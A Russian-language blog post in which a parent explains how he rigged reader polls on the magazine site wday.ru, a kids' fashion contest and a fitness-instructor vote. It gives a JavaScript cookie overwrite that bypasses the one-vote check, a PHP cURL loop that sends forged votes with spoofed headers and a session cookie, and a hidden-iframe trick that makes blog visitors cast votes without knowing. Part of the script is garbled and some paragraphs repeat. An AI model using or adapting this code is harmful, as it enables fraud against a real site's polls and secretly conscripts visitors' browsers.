В конце марта на сайте wdays.ru начался конкурс "20 самых модных карапузов", в котором участвовал мой ребенок. На формах про конкурс писали, что победит тот ребенок, у мамы которого больше друзей. В дальнейшем я эту фразу продолжил словами "или у кого папа программист". Так как голоса на сайте женского журнала можно легко накрутить.
Первый способ накручивания голосов - это их покупка, Купить голоса можно на различных SEO-ресурсах и многочисленных других, но данный способ никак не относится к программированию.
Второй способ рассмотрим подробнее. К нему ведет долгий тернистый путь.
Голосование на сайте выглядит следующим образом, кликаешь по понравившейся фотографии и тебе выдают статистику результатов. И соответственно голосовать больше нельзя.
Когда голосование началось я первым делом проголосовал с различных устройств (с компьютера и телефона). Затем родилась идея проверить голосование в разных браузерах. Идея оказалась верной - голосовать возможно. Уже 5 голосов от одного человека. Если возможно голосовать в различных браузерах, значит результат голосования записывается в куки. Чистим куки в браузере и проверяем. Ура еще + 1 голос.
Чистить куки браузером каждый раз не удобно, так много голосов не накрутишь. Необходимо автоматизировать процесс. Но при попытки чистить куки средствами JavaScript (уменьшая время жизни записи в куках), оказались безуспешными, они не стирались. Однако, в результате экспериментов обнаружилось, что можно записать куки с таким же именем "poll", но с другим значением.
document.cookie ="poll=; expires=" + new Date
Значение пишем пустое. Что же происходит в реальности. При загрузке страницу, происходит чтение значения из кукиса, записанного нами, и так как там значение не совпадает c нужным, у нас появляется возможность голосовать. А вот при голосовании значение в куки записывается нужной. Ура! Можно кликать сколько угодно...
Но пальцы устают и мышку жалко, необходимо еще автоматизировать процесс. И тут на помощь пришел LD с PHP- скриптом:
Однако накрутить сто тысяч миллионов голосов за один момент, как-то неестественно и подозрительно. Поэтому вставляем в блог iframe с ссылкой на наш скрипт и получаем плавненькое автоматическое накручивание голосов при каждом посещении блога.
Кстати, этот способ в дальнейшем очень пригодился на другом голосовании на этом ресурсе за лучшего фитнес-инструктора (кстати скрипт представлен с этого голосования). А вот в голосовании с ребенком данный способ только опробовался, но не использовался, так как хватило голосов от репостов в социальных сетях.
Но пальцы устают и мышку жалко, необходимо еще автоматизировать процесс. И тут на помощь пришел LD с PHP- скриптом:
for ($i=0;$i<300 br="" i="">$ch = curl_init();Данный скрипт голосует за нужного ребенка. Загоняем его в цикл и получаем сколько угодно голосов. Очередное УРА!
curl_setopt($ch,CURLOPT_URL,"http://www.wday.ru/moda-shopping/style/top-8-samyih-ocharovatelnyih-fitnes-instruktorov-yaroslavlya/9/");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS, "question_id=1934&opcode=poll_vote&answer_id=22538");
curl_setopt($ch, CURLOPT_VERBOSE, true);
$request_headers = array();
$request_headers[] = 'User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36';
$request_headers[] = 'Referer: http://www.wday.ru/moda-shopping/style/top-8-samyih-ocharovatelnyih-fitnes-instruktorov-yaroslavlya/9/';
$request_headers[] = 'Origin: http://www.wday.ru';
$request_headers[] = 'Cookie: PHPSESSID=v9ok2puaqe2huov4dl1ls8ch84; _ga=GA1.2.244763002.1427203359; _gat=1; cto_rtt=; name=_unreg_; first_name=none; sso_id=0; SSOSID=0; _ym_visorc_421459=b; _cb_ls=1; _chartbeat2=BpvdFHBF41rfBvzYic.1427195129842.1427203364324.1; poll=1934';
curl_setopt($ch, CURLOPT_HTTPHEADER, $request_headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
curl_close ($ch);}
?>300>
Однако накрутить сто тысяч миллионов голосов за один момент, как-то неестественно и подозрительно. Поэтому вставляем в блог iframe с ссылкой на наш скрипт и получаем плавненькое автоматическое накручивание голосов при каждом посещении блога.
Кстати, этот способ в дальнейшем очень пригодился на другом голосовании на этом ресурсе за лучшего фитнес-инструктора (кстати скрипт представлен с этого голосования). А вот в голосовании с ребенком данный способ только опробовался, но не использовался, так как хватило голосов от репостов в социальных сетях.

Комментариев нет:
Отправить комментарий